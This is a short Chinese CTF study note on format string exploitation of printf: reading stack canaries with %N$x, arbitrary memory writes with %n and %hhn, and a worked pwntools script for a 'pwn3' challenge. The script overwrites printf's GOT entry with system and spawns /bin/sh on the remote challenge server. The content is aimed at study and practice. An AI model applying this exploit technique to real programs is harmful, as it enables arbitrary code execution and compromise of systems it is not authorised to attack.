格式化字符串

printf()函数如果没有给定格式化参数,就可以利用它来任意读写。
像是带canary保护的程序,可以调试一下看一下canary在栈中的位置,然后用%位置$x这样的形式来读取canary。

利用%num$n的形式可以进行任意写(num的取值一般从栈中第一个可以控制的位置开始)。
例如\x02\x03\x04\x08%num$n就是在0x08040302的位置写上4,因为\x02\x03\x04\x08是四个字节。如果想多写一点的话可以用\x02\x03\x04\x08%12c%num$n这样的,就有16个字节,就写上了10(十六进制表示)。

例如whalectf上的pwn3:

利用格式化字符串,把printf的got表覆盖为system函数,这样下次调用printf的时候就是调用system函数了。但是%n的话是一次性写4个字节,会发送很多数据,因为每多写1就要多发送一个字节。可以使用%hhn对一个字节进行写。这里system_plt的第一个字节是0x10,而前面payload正好已经发送了16个字节,所以就不需要再添加字节,直接%7$hhn就行了。至于第一个可控制的位置,可以先调试一下程序,发送一下AAAAAAAAA,然后看栈里的数据就很容易知道是7了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
sh=remote("bamboofox.cs.nctu.edu.tw",22003)
printf_got=0x0804a00c
system_plt=0x08048410
payload=p32(printf_got)
payload+=p32(printf_got+1)
payload+=p32(printf_got+2)
payload+=p32(printf_got+3)
payload+="%7$hhn"
payload+="%"
payload+=str(0x84-0x10)
payload+="c%8$hhn"
payload+="%"
payload+=str(0x104-0x84)
payload+="c%9$hhn"
payload+="%"
payload+=str(0x08-0x04)
payload+="c%10$hhn"
sh.sendline(payload)
sh.sendline("/bin/sh")
sh.interactive()
文章目录
|